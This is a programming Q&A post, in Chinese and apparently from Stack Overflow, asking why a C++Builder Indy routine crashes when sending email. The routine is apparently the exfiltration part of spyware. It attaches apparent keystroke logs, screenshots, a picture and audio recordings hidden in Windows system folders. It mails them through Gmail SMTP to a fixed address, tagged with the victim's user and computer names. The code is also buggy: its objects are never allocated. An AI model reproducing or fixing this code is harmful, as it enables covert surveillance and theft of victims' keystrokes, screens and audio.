【发布时间】:2014-07-08 10:06:52
【问题描述】:
我有一个发送电子邮件的代码,这会在发送电子邮件时导致访问冲突。与代码序列无关,异常总是在 TRY 命令后的第一行抛出。我已经做了几次测试,直到现在还没有找到解决这个问题的方法。有人可以帮帮我吗?
这是我当前的代码序列:
#include <IdAttachmentFile.hpp>
#include <Lmcons.h>
#pragma link "IdBaseComponent"
#pragma link "IdComponent"
#pragma link "IdExplicitTLSClientserverBase"
#pragma link "IdIOHandler"
#pragma link "IdIOHandlerSocket"
#pragma link "IdIOHandlerStack"
#pragma link "IdMessage"
#pragma link "IdMessageClient"
#pragma link "IdSMTP"
#pragma link "IdSMTPBase"
#pragma link "IdSSL"
#pragma link "IdSSLOpenSSL"
#pragma link "IdTCPClient"
#pragma link "IdTCPConnection"
TIdSMTP *IdSMTP1;
TIdMessage *IdMessage1;
TIdAntiFreeze *IdAntiFreeze1;
TIdSSLIOHandlerSocketOpenSSL *IdSSLIOHandlerSocketOpenSSL1;
AnsiString temp()
{
wchar_t buffer [MAX_PATH];
GetTempPath(MAX_PATH, buffer);
return StrPas(buffer);
}
AnsiString GetLocalComputerName()
{
TCHAR chrComputerName[MAX_COMPUTERNAME_LENGTH + 1];
AnsiString strRetVal;
DWORD dwBufferSize = MAX_COMPUTERNAME_LENGTH + 1;
if(GetComputerName(chrComputerName,&dwBufferSize)) {
strRetVal = chrComputerName;
} else {
strRetVal = "";
}
return(strRetVal);
}
AnsiString user()
{
TCHAR name [ UNLEN + 1 ];
DWORD size = UNLEN + 1;
if (GetUserName( (TCHAR*)name, &size ))
return name;
else
return "Unknown";
}
//SENDING MAIL SMTP (GMAIL)
void MAIL()
{
srand((unsigned)time(0));
int random_integer;
int lowest=1, highest=10;
int range=(highest-lowest)+1;
for(int index=0; index<200; index++){
random_integer = lowest+int(range*rand()/(RAND_MAX + 1.0)); }
AnsiString FileToAttach = temp() + "keys.txt";
AnsiString FileToAttach2 = temp() + "keys1.txt";
AnsiString FileToAttach3 = temp() + "screenshot.bmp";
AnsiString FileToAttach4 = "C:\\Windows\\System32\\drivers\\etc\\rec32.wav";
AnsiString FileToAttach5 = temp() + "picture.bmp";
AnsiString FileToAttach6 = "C:\\Windows\\SysWOW64\\Speech\\Common\\rec64.wav";
try
{
IdSMTP1->Host = "ssl://smtp.gmail.com";
IdSMTP1->Port = 465;
IdSMTP1->Username = "sender@gmail.com";
IdSMTP1->Password = "pass_sender";
IdMessage1->Clear();
/*IdMessage1->MessageParts->Clear();
IdMessage1->Body->Clear(); */
IdMessage1->Priority = mpHigh;
IdMessage1->Recipients->EMailAddresses = "recipient@live.com";
IdMessage1->Subject = user();
IdMessage1->Body->Text = random_integer;
IdMessage1->Encoding = meMIME;
IdMessage1->ContentType = L"multipart/mixed; charset=UTF-8";
IdMessage1->ContentTransferEncoding = L"base64";
IdMessage1->ContentDisposition = L"attachment";
IdMessage1->CharSet = L"UTF-8";
IdMessage1->From->Address = "sender@gmail.com";
IdMessage1->From->Name = GetLocalComputerName();
TIdAttachmentFile *Attach = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach);
Attach->ContentType = GetMIMETypeFromFile(Attach->FileName);
if(FileExists(temp() + "keys1.txt")) {
TIdAttachmentFile *Attach2 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach2);
Attach2->ContentType = GetMIMETypeFromFile(Attach2->FileName);
}
TIdAttachmentFile *Attach3 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach3);
Attach3->ContentType = GetMIMETypeFromFile(Attach3->FileName);
if(FileExists("C:\\Windows\\System32\\drivers\\etc\\rec32.wav")) {
TIdAttachmentFile *Attach4 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach4);
Attach4->ContentType = GetMIMETypeFromFile(Attach4->FileName);
}
if(FileExists(temp() + "picture.bmp")) {
TIdAttachmentFile *Attach5 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach5);
Attach5->ContentType = GetMIMETypeFromFile(Attach5->FileName);
}
if(FileExists("C:\\Windows\\SysWOW64\\Speech\\Common\\rec64.wav")) {
TIdAttachmentFile *Attach6 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach6);
Attach6->ContentType = GetMIMETypeFromFile(Attach6->FileName);
}
IdSMTP1->IOHandler = IdSSLIOHandlerSocketOpenSSL1;
IdSMTP1->UseTLS = utUseImplicitTLS;
IdSMTP1->AuthType = satDefault;
//IdSMTP1->SendCmd("STARTTLS");
IdSMTP1->Authenticate();
IdSSLIOHandlerSocketOpenSSL1->SSLOptions->Method = sslvSSLv3;
IdSSLIOHandlerSocketOpenSSL1->SSLOptions->Mode = sslmClient;
IdSSLIOHandlerSocketOpenSSL1->Destination = "ssl://smtp.gmail.com:465";
IdSSLIOHandlerSocketOpenSSL1->Host = "ssl://smtp.gmail.com";
//IdSSLIOHandlerSocketOpenSSL1->PassThrough = true;
}
catch(Exception &ex)
{
ShowMessage(ex.ToString());
}
try
{
IdSMTP1->Connect();
IdAntiFreeze1->IdleTimeOut = 250;
IdSMTP1->Send(IdMessage1);
Application->ProcessMessages();
ShowMessage("E-Mail sent to: recipient@live.com");
}
catch(Exception &ex)
{
ShowMessage(ex.ToString());
}
if(IdSMTP1->Connected()) {
IdSMTP1->Disconnect();}
IdSMTP1->Free();
IdMessage1->Free();
IdSSLIOHandlerSocketOpenSSL1->Free();
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
MAIL();
}
提前致谢。
【问题讨论】:
-
我无法确定您为
IdSMTP1分配实例的位置,因此取消引用未初始化的指针 (IdSMTP1->Host = "ssl://smtp.gmail.com";) 可能会崩溃。 -
@πάντα ῥεῖ,你测试了我的代码吗?还推出了这一行的异常 (IdSMTP1->Host = "ssl://smtp.gmail.com";) ?
-
我不明白你的评论?我只是瞥了一眼,飞过这个源代码。很容易发现问题可能是什么。您需要在某处拥有
IdSMTP1 = new TIdSMTP();才能执行相关行的功能。 -
@πάντα ῥεῖ,你测试过这段代码吗?
-
不,我只是如前所述阅读了它。还不完整,怎么测试呢?
标签: c++ c++builder